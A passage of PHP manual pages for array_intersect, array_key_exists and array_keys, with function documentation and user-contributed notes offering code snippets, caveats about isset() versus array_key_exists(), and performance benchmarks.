        $nextArray = $arrays[$i];
        foreach ($nextArray as $key=>$value)
        {
            $outputArray[$key] = $value;
        }
    }
    return $outputArray;
}

function array_overwrite()
{
    if (func_num_args() < 2) { return; }
    $arrays = func_get_args();
    $outputArray = array_shift($arrays);
    $remaining = count($arrays);
    for ($i=0; $i<$remaining; $i++)
    {
        $nextArray = $arrays[$i];
        foreach ($nextArray as $key=>$value)
        {
            if (array_key_exists($key, $outputArray)) {    $outputArray[$key] = $value; }
        }
    }
    return $outputArray;
}

?>
Niels 20-Sep-2006 01:53
Here is a array_union($a, $b):

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            array_intersect($a, $b),    //         2   4
            array_diff($a, $b),         //       1   3
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>
nthitz at gmail dot com 09-Jun-2006 06:09
I did some trials and if you know the approximate size of the arrays then it would seem to be a lot faster to do this <?php array_intersect($smallerArray, $largerArray); ?> Where $smallerArray is the array with lesser items. I only tested this with long strings but I would imagine that it is somewhat universal.
terry(-at-)shuttleworths(-dot-)net 07-Feb-2006 04:42
I couldn't get array_intersect to work with two arrays of identical objects, so I just did this:

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }
}

This leaves $firstarray as the intersection.

Seems to work fine & reasonably quickly.
tom p 05-Nov-2005 03:54
If you store a string of keys in a database field and want to match them to a static array of values, this is a quick way to do it without loops:

<?

$vals = array("Blue","Green","Pink","Yellow");
$db_field = "0,2,3";

echo implode(", ", array_flip(array_intersect(array_flip($vals), explode(",", $db_field))));

// will output "Blue, Pink, Yellow"

?>
sapenov at gmail dot com 10-Jun-2005 10:11
If you need to supply arbitrary number of arguments
to array_intersect() or other array function,
use following function:

$full=call_user_func_array('array_intersect', $any_number_of_arrays_here);
SETS INTERSECTION 18-May-2005 08:19
$a = array(1,2,3,4,5,2,6,1);  /* repeated elements --> $a is not a set */
$b = array(0,2,4,6,8,5,7,9,2,1);  /* repeated elements --> $b is not a set */

$ua = array_merge(array_unique($a));  /* now, $a is a set */
$ub = array_merge(array_unique($b));  /* now, $b is a set */

$intersect = array_merge(array_intersect($ua,$ub));

Note: 'array_merge' removes blank spaces in the arrays.
Note: order doesn't matter.

In one line:

$intersect_a_b = array_merge(array_intersect(array_merge(array_unique($a)), array_merge(array_unique($b))));

Additions/corrections wellcome...

gRiNgO
drew at iws dot co dot nz 22-Apr-2005 05:04
Just a handy tip.

If you want to produce an array from two seperate arrays on their intersects, here you go:

<?

$a = array("branches","E_SHOP");
$b = array("E_SHOP","Webdirector_1_0");

print join("/",array_merge(array_diff($a, $b), array_intersect($a, $b), array_diff($b, $a)));

?>

Gives you:

/branches/E_SHOP/Webdirectory_1_0
blu at dotgeek dot org 15-Oct-2004 02:34
Note that array_intersect and array_unique doesnt work well with multidimensional arrays.
If you have, for example,

<?php

$orders_today[0] = array('John Doe', 'PHP Book');
$orders_today[1] = array('Jack Smith', 'Coke');

$orders_yesterday[0] = array('Miranda Jones', 'Digital Watch');
$orders_yesterday[1] = array('John Doe', 'PHP Book');
$orders_yesterday[2] = array('Z� da Silva', 'BMW Car');

?>

and wants to know if the same person bought the same thing today and yesterday and use array_intersect($orders_today, $orders_yesterday) you'll get as result:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

    [1] => Array
        (
            [0] => Jack Smith
            [1] => Coke
        )

)

?>

but we can get around that by serializing the inner arrays:
<?php

$orders_today[0] = serialize(array('John Doe', 'PHP Book'));
$orders_today[1] = serialize(array('Jack Smith', 'Coke'));

$orders_yesterday[0] = serialize(array('Miranda Jones', 'Digital Watch'));
$orders_yesterday[1] = serialize(array('John Doe', 'PHP Book'));
$orders_yesterday[2] = serialize(array('Z� da Silva', 'Uncle Tungsten'));

?>

so that array_map("unserialize", array_intersect($orders_today, $orders_yesterday)) will return:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

)

?>

showing us who bought the same thing today and yesterday =)

[]s
tompittlik at disfinite dot net 24-Jun-2004 03:27
Just a small mod to ben's code to make it work properly:

<?php

if(sort(array_unique($b + $a)) === sort($b))
 // $a is legit
}

?>

This is useful for checking for illegal characters in a username.
t dot wiltzius at insightbb dot com 24-Jun-2004 06:33
I needed to compare an array with associative keys to an array that contained some of the keys to the associative array. Basically, I just wanted to return only a few of the entries in the original array, and the keys to the entries I wanted were stored in another array. This is pretty straightforward (although complicated to explain), but I couldn't find a good function for comparing values to keys. So I wrote this relatively straightforward one:

<?php

function key_values_intersect($values,$keys) {
   foreach($keys AS $key) {
      $key_val_int[$key] = $values[$key];
      }
   return $key_val_int;
   }

$big = array("first"=>2,"second"=>7,"third"=>3,"fourth"=>5);
$subset = array("first","third");

print_r(key_values_intersect($big,$subset));

?>

This will return:

Array ( [first] => 2 [third] => 3 )
anbolb at boltblue dot com 09-Jan-2004 10:11
This is also handy for testing an array for one of a series of acceptable elements. As a simple example, if you're expecting the query string to contain one of, say, user_id, order_id or item_id, to find out which one it is you could do this:

<?php
    $valid_ids = array ('user_id', 'item_id', 'order_id');
    if ($id = current (array_intersect ($valid_ids, array_keys ($_GET))))
    {
        // do some stuff with it
    }
    else
        // error - invalid id passed, or none at all
?>

...which could be useful for constructing an SQL query, or some other situation where testing for them one by one might be too clumsy.
ben at kazez dot com 09-Dec-2003 07:49
To check whether an array $a is a subset of array $b, do the following:

<?php
if(array_unique($b + $a) === $b)
//...
?>

Actually, PHP ought to have a function that does this for you. But the above example works.
Alessandro Ranellucci alex at primafila dot net 16-Jul-2003 03:35
array_intersect($array1, $array2);
returns the same as:
array_diff($array1, array_diff($array1, $array2));
david at audiogalaxy dot com 10-Apr-2001 01:54
Note that array_intersect() considers the type of the array elements when it compares them.

If array_intersect() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to intersect an array of integers with an array of strings.


Checks if the given key or index exists in the array

  • « array_intersect
  • array_keys »
  • PHP Manual
  • Array Functions
  • Checks if the given key or index exists in the array

array_key_exists

(PHP 4 >= 4.0.7, PHP 5)

array_key_exists — Checks if the given key or index exists in the array

Description

bool array_key_exists ( mixed $key , array $array )

array_key_exists() returns TRUE if the given key is set in the array. key can be any value possible for an array index.

Parameters

key

Value to check.

array

An array with keys to check.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 array_key_exists() example

<?php
$search_array = array('first' => 1, 'second' => 4);
if (array_key_exists('first', $search_array)) {
    echo "The 'first' element is in the array";
}
?>

Example #2 array_key_exists() vs isset()

isset() does not return TRUE for array keys that correspond to a NULL value, while array_key_exists() does.

<?php
$search_array = array('first' => null, 'second' => 4);

// returns false
isset($search_array['first']);

// returns true
array_key_exists('first', $search_array);
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: key_exists()

Note:

For backward compatibility reasons, array_key_exists() will also return TRUE if key is a property defined within an object given as array. This behaviour should not be relied upon, and care should be taken to ensure that array is an array.

To check whether a property exists in an object, use property_exists().

See Also

  • isset() - Determine if a variable is set and is not NULL
  • array_keys() - Return all the keys or a subset of the keys of an array
  • in_array() - Checks if a value exists in an array
  • property_exists() - Checks if the object or class has a property

User Contributed Notes

ellert at vankoperen dot nl 14-Oct-2014 04:49
While working with large JSON datastructures I encountered an increasing need to check the presence of certain data all over the place.
This led to the function below that lets you simply access the data, and returns it if available, null if not.
Note that it uses a variable number of parameters, you can go as deep into a nested structure as you want.

<?php
function safe_array_access($ar){
    $numargs = func_num_args();
    $arg_list = func_get_args();
    $aritterator = $ar;
    for($i = 1; $i < $numargs; $i++){
        if (isset($aritterator[$arg_list[$i]]) || array_key_exists($arg_list[$i], $aritterator)){
            $aritterator = $aritterator[$arg_list[$i]];
        }else{
            return(false);
        }
    }
    return($aritterator);
}
?>
Usage:
Instead of  $a['b']['c'] use safe_array_access($a, 'b', 'c');
mc dot watras at gmail dot com 25-Jul-2014 05:12
array_key_exists doesn't work with objects implementing ArrayAccess interface. It also ignores possible __get() method in such objects, despite the fact it accepts object as a second parameter. It works only with 'real' properties.

<?php
class A implements ArrayAccess {
    public $data;
    public function offsetExists($offset) {
        return isset($this->data[$offset]);
    }
    public function __get($property) {
        return $this->data[$property];
    }
}

$a = new A();
$a->data['somekey'] = 1;
var_dump(array_key_exists('somekey', $a)); // returns false
var_dump(array_key_exists('data', $a));  // returns true
?>
jakub dot lopuszanski at nasza-klasa dot pl 01-Apr-2014 07:45
It's not mentioned directly in this spec, but implementing ArrayAccess intereface is unfortunately not enough to make array_key_exists work as expected :(
In other words array_key_exists and ArrayAccess::offsetExists is not the same thing :/
Sandro Alves Peres 19-Jun-2013 08:30
<?php
/*
    It also works on objects
    ***************************************
*/

class PHP
{

    private $compiler;
    protected $architecture;
    public $version;
    public $system = "Linux";

}

$php = new PHP();

$a = array_key_exists('compiler', $php);     # false
$b = array_key_exists('architecture', $php); # false
$c = array_key_exists('version', $php);      # true
$d = array_key_exists('system', $php);       # true

var_dump( $a, $b, $c, $d );

?>
imaginary at friend dot com 10-Apr-2012 01:37
An even simpler case-insensitive alternative to array_key_exists():

<?php

array_key_exists(strtolower($key), array_change_key_case($search));
Nik Tang 05-Mar-2012 10:22
If you want to take the performance advantage of isset() while keeping the NULL element correctly detected, use this:

if (isset(..) || array_key_exists(...))
{
...
}

Benchmark (100000 runs):
array_key_exists() : 205 ms
is_set() : 35ms
isset() || array_key_exists() : 48ms

Note:
The code for this check is very fast, so you shouldn't warp the code into a single function like below, because the overhead of calling a function dominates the overall performance.

function array_check(...)
{
    return (isset(..) || array_key_exists(...))
}
Rudi 10-Nov-2011 11:10
I've got a new take on the multi key function I would like to share.

<?php
function array_multi_key_exists(array $arrNeedles, array $arrHaystack, $blnMatchAll=true){
    $blnFound = array_key_exists(array_shift($arrNeedles), $arrHaystack);

    if($blnFound && (count($arrNeedles) == 0 || !$blnMatchAll))
        return true;

    if(!$blnFound && count($arrNeedles) == 0 || $blnMatchAll)
        return false;

    return array_multi_key_exists($arrNeedles, $arrHaystack, $blnMatchAll);
}
?>

Hope you'll find it usefull.
glitch dot mr at gmail dot com 01-Oct-2011 01:15
As you might know, isset() is actually working like @$variable===NULL. As the result, it doesn't actually catch variables set to NULL. If you want to check if variable is set (even to NULL), you can use array_key_exists on $GLOBALS, like there.

<?php
   $me = null;
   $se = 1;
   unset($se);
// $he is not set

if(array_key_exists('me', $GLOBALS)) echo "\$me exists\n";
if(array_key_exists('se', $GLOBALS)) echo "\$se exists\n";
if(array_key_exists('he', $GLOBALS)) echo "\$he exists\n";

?>

In this case, only $me will be detected as $se was removed when code was running and $he was never set.
Anonymous 16-Jun-2011 10:07
I just want to note that array_key_exists() can be extremely slow for large (>200 keys) arrays.  Use isset($array($key)) instead!  My program ran in 3 minutes instead of 2 hours after switching to isset()!
manhon824 at gmail dot com 18-May-2011 06:29
I took hours for me to debug, and I finally recognized that,

You have to reset the $array before using array_key_exists
reset($array);
array_key_exists($needle,$array);

Or you will get no reply.
tech at signhere envy dot de 18-Jan-2011 11:23
Hey, this function is able to rename a key inside an array.

If the key to be replaced doesn't exist inside the array, or the new key already exists in the array, the function will return FALSE.
Otherwise, the array with the renamed key will be returned.

Hope this will be useful for someone.
<?php
function array_rename_key($array, $key, $newkey){
    if( ! array_key_exists($key, $array) || array_key_exists($newkey, $array)) return FALSE;
    $uid = uniqid(''); //To clearly identify the Element.
    $preserve_value = $array[$key]; //Keep the Value
    $array[$key] = $uid; //Overwrite Value with ID
    $array = array_flip($array); //Flip the Array keys and values
    $array[$uid] = $newkey; //Set Value of the ID with new Key.
    $array = array_flip($array); //Everything back in Place.
    $array[$newkey] = $preserve_value;
    return $array;
}
?>
jens dot hoevenaars at gmail dot com 07-Nov-2010 12:21
I created this function that uses array key exist to compare a form and a table to see if something has changed.

This can be very helpfull if you need to update a table record from a form but you do not want to display all table fields.

<?php
function($data_from_db, $form_data) {
 $data = $data_from_db;
 $keys = array_keys($data);

    for($i = 0; $i < count($data); $i++) {
        if(!array_key_exists($keys[$i], $form_data)) {
            $dbobject->$keys[$i] = $data[$keys[$i]];
        } else {
            $dbobject->$keys[$i] = $form_data[$keys[$i]];
        }
    }
    return $dbobject;
}
?>

you can then use the dbobject to update the table.
moandsimon at btinternet dot com 26-Apr-2010 10:56
This uses array_key_exists.

You have a multidimensional array of the form:

$rowsoriginal[] = array('field_wrkvolmin_value' => 216, 'field_wrkvolmax_value' => 1000);
$rowsoriginal[] = array('field_wrkvolmin_value' => 27, 'field_wrkvolmax_value' => 216);

Using print_r this will look like:

Array ( [0] => Array ( [field_wrkvolmin_value] => 216 [field_wrkvolmax_value] => 1000 ) [1] => Array ( [field_wrkvolmin_value] => 27 [field_wrkvolmax_value] => 216 ) )

This can be used to create a table by iterating over the rows that looks like this:

field_wrkvolmin_value          field_wrkvolmax_value
           216                                      1000
            27                                       216

when $rowsoriginal contain a fixed but unknown amount of values.

If you want to process this in an automatic way without knowing the keys etc, into a multidimensional array of the form:

$rowstemp = array('field_wrkvolmin_value' => array(216, 27), 'field_wrkvolmax_value' => array(1000, 216));

Using print_r this will look like:

Array ( [field_wrkvolmin_value] => Array ( [0] => 216 [1] => 27 ) [field_wrkvolmax_value] => Array ( [0] => 1000 [1] => 216 ) )

This can be used to iterate over the rows of a table to create a table in the form of:

field_wrkvolmin_value            216            27
field_wrkvolmax_value           1000           216

To do this you can use the following looping and conditional structure, using array_key_exists():

<?php
$rowstemp = array();
foreach ($rowsoriginal as $row) {
    foreach ($row as $key => $value) {
        if (array_key_exists($key, $rowstemp)) {
            $rowstemp[$key][] = $value;
        }
        else {
            $valuestemp = array($value);
            $rowstemp[$key] = $valuestemp;
        }
    }
}
?>
gmdebby at gmail dot com 14-Jan-2010 02:44
A little function which take an array as keys

<?php
//note the s in the function name (keys)
function array_keys_exists($array,$keys) {
    foreach($keys as $k) {
        if(!isset($array[$k])) {
        return false;
        }
    }
    return true;
}
?>
//useful to validate a form for example
<form>
    <input type="text" name="field1" /><br />
    <input type="text" name="field2" /><br />
    <input type="text" name="field3" /><br />
    <input type="text" name="field4" /><br />
    <input type="text" name="field5" /><br />
</form>
<?php
if(!array_keys_exists($_POST,
array("field1","field2","field3","field4","field5")
)) {
    //some fields are missing, dont do anything (maybe hacking)
} else {
    //code ...
}
?>
PHPEric 05-Aug-2009 03:51
Very simple case-insensitive array_key_exists:

bool (in_array(strtolower($needle), array_map('strtolower', array_keys($haystack))))
tom at edgedesigns dot org 21-Jul-2009 02:10
The multi_array_key_exists() function posted by alishahnovin at hotmail dot com [which has since been removed] does not always return the expected result.

This modified version does.

<?php
/**
 * multi_array_key_exists function.
 *
 * @param mixed $needle The key you want to check for
 * @param mixed $haystack The array you want to search
 * @return bool
 */
function multi_array_key_exists( $needle, $haystack ) {

    foreach ( $haystack as $key => $value ) :

        if ( $needle == $key )
            return true;

        if ( is_array( $value ) ) :
             if ( multi_array_key_exists( $needle, $value ) == true )
                return true;
             else
                 continue;
        endif;

    endforeach;

    return false;
}

?>
webmaster at oehoeboeroe dot nl 04-May-2009 10:09
The way array_key_exists handles null, float, boolean, and 'integer-representing string' keys is inconsistent in itself and, in the case of bool and float, with the way these are converted when used as array offset.

<?php
$array = array(null => 1, false => 2, true => 3, 4.6 => 4, "08" => 5, "8" => 6);
var_export($array);

echo "\nnull is " . (array_key_exists(null, $array) ? '' : 'not ') . "a key.\n";
echo 'false is ' . (array_key_exists(false, $array) ? '' : 'not ') . "a key.\n";
echo 'true is ' . (array_key_exists(true, $array) ? '' : 'not ') . "a key.\n";
echo '4.6 is ' . (array_key_exists(4.6, $array) ? '' : 'not ') . "a key.\n";
echo '"08" is ' . (array_key_exists("08", $array) ? '' : 'not ') . "a key.\n";
echo '"8" is ' . (array_key_exists("8", $array) ? '' : 'not ') . "a key.\n";
?>

Output:

array (
  '' => 1,
  0 => 2,
  1 => 3,
  4 => 4,
  '08' => 5,
  8 => 6,
)
null is a key.
false is not a key.
true is not a key.
4.6 is not a key.
"08" is a key.
"8" is a key.

Well, and you get this warning three times (on the bools and the float, but not on the null):

Warning:  array_key_exists() [function.array-key-exists]: The first argument should be either a string or an integer in /var/www/php/test.php on line 6
csaba at alum dot mit dot edu 20-Jan-2009 02:13
In some functions cacheing can be extremely useful, and this is especially true in recursive functions, and all the more so in doubly recursive functions.  One way to effect cacheing is to have a static array in the function as shown below.  This will typically be useful when a function has one or two arguments and is heavily called.  Example:

<?php
function nk($n, $k) {
  // n choose k, ensuring integer math
  if ($k > $n-$k) $k = $n - $k;         // (n,k) = (n,n-k)
  if ($k<=1) return ($k==1) ? $n : !$k; // (n,1) = n; (n,0)=1; (n,-#) = 0

  static $aNK = array();                // caching section
  if ($aNK[$n][$k]) return $aNK[$n][$k];// if answer already computed => done

  // else compute answer, cache it, and return
  return ($aNK[$n][$k] = nk($n-1, $k) + nk($n-1, $k-1)); }

$n = 20;
$k = 9;
$nk = nk($n,$k);
print "nk($n, $k) = $nk";
?>

For functions of two arguments, using a two dimensional array seems to be faster than combining arguments a la "$n $k", and the form of testing shown above is also faster than array_key_exists.  However, to avoid the use of array_key_exists, special consideration must be given to empty values (several prior notes cover this) - the example above works because no cached value can be 0.

Csaba Gabor from Vienna
John 19-Jan-2009 06:27
Here is a little function for case sensitivity to elaborate on what was said by MarkL from ##php (Freenode) and mmanning at mdanderson dot org from this page:

<?php
// Case sensitive version of array_key_exists() using preg_match()
function array_ikey_exists($key,$arr)
{
    if(preg_match("/".$key."/i", join(",", array_keys($arr))))
        return true;
    else
        return false;
}
?>

Not that anyone else couldn't have written this, but a concept like this strengthens reusability.  :)

Also, I've been running into issues with escaping for Regex, so I decided to give something like this a shot:

<?php
function array_ikey_exists($key,$arr)
{
    $e = 0; //$key = addslashes($key);
    if(is_array($arr) && $arr !==array())
    {
        foreach($arr as $k => $v)
        {
            if(strtolower($k) == strtolower($key))
                $e++;
        }
        if($e>0)
            return true;
        else
            return false;
    }
    else
        return false;
}
?>

You could addslashes() to escape; it's just another approach.
david at lostair dot com 07-Dec-2008 09:07
It is important to realise that:

  isset($array ['index'])

Does not act the same as:

  array_key_exists('index', $array)

This is because if an array value is set to NULL

$array['index'] = NULL;

Then isset will return FALSE and array_key_exists will return TRUE.

It is important to realise this!
mmanning at mdanderson dot org 21-Oct-2008 05:13
Something to keep in mind is that array_key_exists is case sensitive.  So two things I'd like to say:

1. Could there be an additional option added on to the array_key_exists command so you can specify the case to be insensitive?

2. Here is how you can do this test in one command:

   if( preg_match("/<key>/i", join(",", array_keys(<array>))) ){
      <Do something>
      }

But it would be a lot nicer to just have an additional option on the array_key_exists.  Like so:

   array_key_exists(<array>, ["i"] );

Ok - so why did this come up at all?  I wrote a routine to convert any whacky UppERcAsE kind of lettering to just be lowercase letters. (ex: FgColorS becomes fgcolors and so forth.)  So I never had to guess what the user was putting in to the program.  There were two particular items (fgColors and bgColors) which I wanted to test against.  If they were not supplied, my program would supply them.  The above was the easiest way I could come up with to do this.  :-)
Karim Ratib 19-Aug-2008 02:09
Here's a function to return a reference to the first array element that has a given key. The code works for multidimensional arrays:

<?php
function &array_find_element_by_key($key, &$form) {
  if (array_key_exists($key, $form)) {
    $ret =& $form[$key];
    return $ret;
  }
  foreach ($form as $k => $v) {
    if (is_array($v)) {
      $ret =& array_find_element_by_key($key, $form[$k]);
      if ($ret) {
        return $ret;
      }
    }
  }
  return FALSE;
}
?>
jacobsingh at gmail dot com 17-Jun-2008 12:54
I saw some examples above for array_keys_exist() or functions to see if multiple keys exist in a given array and return false if any of them don't.

Here is a simpler way to do this:

<?php

function array_keys_exist($keys,$array) {
    if (count (array_intersect($keys,array_keys($array))) == count($keys)) {
        return true;
    }
}

$array = array ('filename' => 'myfile', 'filesize' => 1234, 'filepath' => '/tmp/myfile');
$keys = array('filename','filesize','filepath');

echo array_keys_exist($keys,$array);
//returns true

$keys[] = "somethingelse";

echo array_keys_exist($keys,$array);
//Returns false

?>
mankyd at gmail dot com 28-May-2008 07:29
You'll notice several notes on this page stating that isset() is significantly faster than array_key_exists(). This may be true except for one small hitch. isset() will return false for arrays keys that have there value set to NULL, which is therefore not entirely accurate.

Example:

<?php
$foo = array();
$foo['bar'] = NULL;

var_dump(isset($foo['bar']));
var_dump(array_key_exists('bar', $foo));
?>

will output:
bool(false)
bool(true)

Be aware of this!
bplessingerMONKEYleapfroginteractive.com 30-Apr-2008 06:22
I noticed that the function for recursion broke the ability to use this on objects, so I added another check to also allow it to work for objects.

<?php

function array_key_exists_r($needle, $haystack)
{
    $result = array_key_exists($needle, $haystack);
    if ($result)
        return $result;
    foreach ($haystack as $v)
    {
        if (is_array($v) || is_object($v))
            $result = array_key_exists_r($needle, $v);
        if ($result)
        return $result;
    }
    return $result;
}
?>
tmont 29-Apr-2008 11:54
The argument of array_key_exists() vs. isset() came up in the workplace today, so I conducted a little benchmark to see which is faster:

<?php
    // one-dimensional arrays
    $array = array_fill(0,50000,'tommy is the best!');
    $arraykeyexists_result = array();

    $start = microtime(true);
    for ($i = 0; $i < 100000; $i++) {
        if (array_key_exists($i,$array)) {
            $arraykeyexists_result[] = 1;
        }
        else {
            $arraykeyexists_result[] = 0;
        }
    }
    $arrtime = round(microtime(true)-$start,3);

    $start = microtime(true);
    for ($i = 0; $i < 100000; $i++) {
        if (isset($array[$i])) {
            $arraykeyexists_result[] = 1;
        }
        else {
            $arraykeyexists_result[] = 0;
        }
    }
    $istime = round(microtime(true)-$start,3);

    $totaltime = $arrtime+$istime;
    $arrpercentage = round(100*$arrtime/$totaltime,3);
    $ispercentage = round(100*$istime/$totaltime,3);

    echo "array_key_exists(): $arrtime [$arrpercentage%] seconds\n";
    echo "isset():            $istime [$ispercentage%] seconds\n";

?>

On Windows, the output is similar to

array_key_exists(): 0.504 [82.895%] seconds
isset():            0.104 [17.105%] seconds

On Mac or Linux, isset() is faster but only by a factor of approximately 1.5.
packard_bell_nec at hotmail dot com 31-Jan-2008 06:46
You can check whether a variable is defined by using array_key_exists()!
First, you may ask that no reserved array (would be called $LOCALS) is predefined in function scope (contrast to reserved array $GLOBALS in global scope. To solve it, you can use compact().
Then, you may ask that why property_exists() cannot be used. This is because no reserved function is predefined to create OBJECT containing variables and their values, and no reserved function is predefined to import variables into the current symbol table from an OBJECT. In addition, property_exists() breaks the naming convention of reserved function.
Finally, I show how to check whether a variable is defined by using array_key_exists():
<?php
function too(){
$roo = array_key_exists('foo', compact('foo'));
echo ($roo?'1':'0').'<br/>';
$foo = null;
$roo = array_key_exists('foo', compact('foo'));
echo ($roo?'1':'0').'<br/>';
}
too();
?>
The output will be:
0<br/>
1<br/>
wolf550e at gmail dot com 27-Sep-2007 09:51
array_key_exists(), at least in 5.2.4, passes the array by value. I conclude this from seeing performance worsen as the array to search got bigger. isset() doesn't have this problem.
diogoshaw at gmail dot com 15-Sep-2007 08:58
this function very good to use if you need to verify many variables:

<?php
function array_key_exists_r($keys, $search_r) {
    $keys_r = split('\|',$keys);
    foreach($keys_r as $key)
    if(!array_key_exists($key,$search_r))
    return false;
    return true;
}
?>

e.g.

<?php
if(array_key_exists_r('login|user|passwd',$_GET)) {
// login
} else {
// other
}
?>

works for me, enjoy.
dg shaw.
sj-b at hotmail dot de 01-Aug-2007 06:14
i dont like how empty() works.
an integer with value 0 or a boolean wth
value false (same like zero) counts as
empty too.

[code]function r_empty (&$check)
{
    if (!isset($check)) return true;
    if ($check == NULL) return true;
    return false;
}[/code]

that is a good replacement for
both functions for me.
Lucknut dot xbl at googlemail dot com 18-Jul-2007 07:44
I found this function very good to use if your want your urls like index.php?login or index.php?register
e.g.
<?php
if( array_key_exists( 'home',$_GET ) ) {
    echo "Home - its where the heart is.";
} else if( array_key_exists( 'login',$_GET ) ) {
    echo "Login code here!";
} else if( array_key_exists( 'register',$_GET ) ) {
    echo "Register code here!";
} else {
    echo "Home - its where the heart is.";
}
?>
david at madole dot net 06-Jul-2007 05:11
Regarding performance differences between isset() and array_key_exists(), the differences may be there, but the function are not always interchangable.

Note that when $a[1] = null then isset($a[1]) == false but array_key_exists(1, $a) == true
eidberger at jakota dot de 11-Jun-2007 10:14
Just wondered why array_key_exists() makes me a cpu-load of 85% while isset() only needs 35%.

Not a big thing for one time execution, but in my case it have to check 1-dimensional array with ~ 15.000 entries 100 times a second. My code checks a big array for existing entrys and updates them, if needed.

Hopes it helps somebody. Notice that on many other functions, which makes coding more comfortable at the cost of speed.
php at ianco dot co dot uk 09-Apr-2007 10:58
array_key_exists is case sensitive (at least in PHP 4.3.9). To make a case-insensitive comparison you could use strtolower on both sides.
inker2576 at yahoo dot com 07-Mar-2007 05:01
Further research on this has turned up that the performance problems are a known, confirmed bug in PHP 5.1.x, and have been fixed in PHP builds after September 2006.  You can find the bug report here:  http://bugs.php.net/bug.php?id=38812

However, just because it's a fixed bug doesn't really change the conclusion.  If you're writing a script and there's any chance it could be used on a PHP 5.1.x server, you should still avoid this function and use isset() or some other kind of test if you want it to run efficiently.
serkan yersen 07-Feb-2007 01:01
marzetti.marco,
I fixed your function it's is more optimized and working better now.

function regex_array_keys($arr, $pattern){
   $results[] = false;

   if(!is_array($arr))
       return false;

   foreach($arr as $key => $val){
         if(!is_array($key))
       if(preg_match($pattern,$key))
              array_push($results,$key);
   }

   return $results;
}
Matt 01-Dec-2006 10:50
mikael dot knutsson at gmail dot com:
I don't think it does, at least in PHP5?

For example, this outputs bool(false):

$ar = array ( 'outter' => array ( 'inner' => 1 ) );
var_dump(array_key_exists('inner', $ar));

So it doesn't actually check the inner array for the key 'inner'.
mikael dot knutsson at gmail dot com 25-Nov-2006 01:05
When dealing with multi-dimensional arrays, this function checks through all keys in the array, including the "child arrays" unlike the array_keys( array, $search ) function which would only check and return from the first level of keys.

Took me a couple of minutes to figure out what was wrong and I hope it helps some people when looking for the right function.


Return all the keys or a subset of the keys of an array

  • « array_key_exists
  • array_map »
  • PHP Manual
  • Array Functions
  • Return all the keys or a subset of the keys of an array

array_keys

(PHP 4, PHP 5)

array_keys — Return all the keys or a subset of the keys of an array

Description

array array_keys ( array $array [, mixed $search_value [, bool $strict = false ]] )

array_keys() returns the keys, numeric and string, from the array.

If the optional search_value is specified, then only the keys for that value are returned. Otherwise, all the keys from the array are returned.

Parameters

array

An array containing keys to return.

search_value

If specified, then only keys containing these values are returned.

strict

Determines if strict comparison (===) should be used during the search.

Return Values

Returns an array of all the keys in array.

Examples

Example #1 array_keys() example

<?php
$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));

$array = array("blue", "red", "green", "blue", "blue");
print_r(array_keys($array, "blue"));

$array = array("color" => array("blue", "red", "green"),
               "size"  => array("small", "medium", "large"));
print_r(array_keys($array));
?>

The above example will output:

Array
(
    [0] => 0
    [1] => color
)
Array
(
    [0] => 0
    [1] => 3
    [2] => 4
)
Array
(
    [0] => color
    [1] => size
)

See Also

  • array_values() - Return all the values of an array
  • array_key_exists() - Checks if the given key or index exists in the array
  • array_search() - Searches the array for a given value and returns the corresponding key if successful

User Contributed Notes

Ian (maxianos at hotmail dot com) 09-Mar-2014 12:41
There's a lot of multidimensional array_keys function out there, but each of them only merges all the keys in one flat array.

Here's a way to find all the keys from a multidimensional  array while keeping the array structure. An optional MAXIMUM DEPTH parameter can be set for testing purpose in case of very large arrays.

NOTE: If the sub element isn't an array, it will be ignore.

<?php
function array_keys_recursive($myArray, $MAXDEPTH = INF, $depth = 0, $arrayKeys = array()){
       if($depth < $MAXDEPTH){
            $depth++;
            $keys = array_keys($myArray);
            foreach($keys as $key){
                if(is_array($myArray[$key])){
                    $arrayKeys[$key] = array_keys_recursive($myArray[$key], $MAXDEPTH, $depth);
                }
            }
        }

        return $arrayKeys;
    }
?>

EXAMPLE:
input:
array(
    'Player' => array(
        'id' => '4',
        'state' => 'active',
    ),
    'LevelSimulation' => array(
        'id' => '1',
        'simulation_id' => '1',
        'level_id' => '1',
        'Level' => array(
            'id' => '1',
            'city_id' => '8',
            'City' => array(
                'id' => '8',
                'class' => 'home',
            )
        )
    ),
    'User' => array(
        'id' => '48',
        'gender' => 'M',
        'group' => 'user',
        'username' => 'Hello'
    )
)

output:
array(
    'Player' => array(),
    'LevelSimulation' => array(
        'Level' => array(
            'City' => array()
        )
    ),
    'User' => array()
)
zammit dot andrew at gmail dot com 16-Nov-2013 01:06
If an array is empty (but defined), or the $search_value is not found in the array, an empty array is returned (not false, null, or -1). This may seem intuitive, especially given the documentation says an array is returned, but I needed to sanity test to be sure:

<?php

$emptyArray = array();
var_dump(array_keys($emptyArray,99)); // array (size=0) \ empty

$filledArray = array(11,22,33,42);
var_dump(array_keys($filledArray,99)); // array (size=0) \ empty

?>
phpnet at holodyn dot com 24-Oct-2013 02:17
Since 5.4 STRICT standards dictate that you cannot wrap array_keys in a function like array_shift that attempts to reference the array.

Invalid:
echo array_shift( array_keys( array('a' => 'apple') ) );

Valid:
$keys = array_keys( array('a' => 'apple') );
echo array_shift( $keys );

But Wait! Since PHP (currently) allows you to break a reference by wrapping a variable in parentheses, you can currently use:

echo array_shift( ( array_keys( array('a' => 'apple') ) ) );

However I would expect in time the PHP team will modify the rules of parentheses.
anthony at berglas dot org 03-Apr-2012 02:32
It should be noted that the inverse function to keys (which converts keys to values) is array_count_values (which converts values to keys).  This is needed to use things like array_intersect_key.  Could go in several places.  Took me a while to figure it out.
Na&#39;ven Enigma 10-Mar-2012 04:41
I was trying to figure out how to normalize an array with numerical keys.  Since I was doing for() for a lot of things, but only replacing it if the conditions were right, I wound up with off ball arrays I couldn't access.  That being said, I looked for a method of normalizing the array and couldn't find one, so I built my own.  I'm not sure how to go about making it recursive, but I didn't need that feature for my own, so I just went without recursion.

